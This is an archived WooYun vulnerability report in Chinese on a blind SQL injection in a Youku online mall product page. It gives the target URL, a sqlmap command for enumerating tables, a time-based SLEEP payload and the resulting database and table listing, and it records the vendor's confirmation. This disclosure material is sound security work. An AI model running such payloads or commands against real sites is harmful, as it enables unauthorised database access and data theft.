当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139116

漏洞标题：优酷商城存在SQL注入漏洞一枚可读库

相关厂商：优酷

漏洞作者： 慢慢

提交时间：2015-09-05 11:32

修复时间：2015-10-20 15:16

公开时间：2015-10-20 15:16

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-05： 细节已通知厂商并且等待厂商处理中
2015-09-05： 厂商已经确认，细节仅向厂商公开
2015-09-15： 细节向核心白帽子及相关领域专家公开
2015-09-25： 细节向普通白帽子公开
2015-10-05： 细节向实习白帽子公开
2015-10-20： 细节向公众公开

简要描述：

优酷商城sql注入一枚,涉及14个表。

详细说明：

优酷商城优酷土豆路由宝页面存在sql注入漏洞
地址：http://mall.youku.com/itemdetail/item/itemDetail.action?itemId=6589701773214092189
使用sqlmap神器进行测试

sqlmap.py -u "http://mall.youku.com/itemdetail/item/itemDetail.action?itemId=6589701773214092189" --random-agent --time-sec 2 -D mall --tables

漏洞证明：

Parameter: itemId (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: itemId=6589701773214092189) AND (SELECT * FROM (SELECT(SLEEP(5)))jmNX) AND (9905=9905
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] mall


Database: mall
[14 tables]
+----------------------------------+
| MALL_AREA_INFO                   |
| MALL_BUYER_ADDRESS               |
| MALL_BUYER_CORE                  |
| MALL_BUYER_DETAIL                |
| MALL_BUYER_STATUS                |
| MALL_BUYER_WULIU                 |
| MALL_CATEGORY_CORE               |
| MALL_CATEGORY_DETAIL             |
| MALL_CATEGORY_STATUS             |
| MALL_CENTER_AUTHORIZATION_DEFINE |
| MALL_CENTER_CHANNEL_CONFIG       |
| MALL_CENTER_COMMON_OPERATE_LOG   |
| MALL_CENTER_FUNCTION             |
| MALL_CENTER_aRE                  |
+----------------------------------+


修复方案：

增加过滤。

版权声明：转载请注明来源 慢慢@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-09-05 15:14

厂商回复：

感谢"慢慢"提醒！我们会尽快修复该漏洞！

最新状态：

暂无

漏洞评价：

评论